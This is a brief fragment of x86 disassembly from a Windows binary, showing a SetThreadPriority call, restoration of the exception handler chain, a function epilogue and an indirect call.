call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
call dword [eax + 0x18]
jmp 0x37a8980f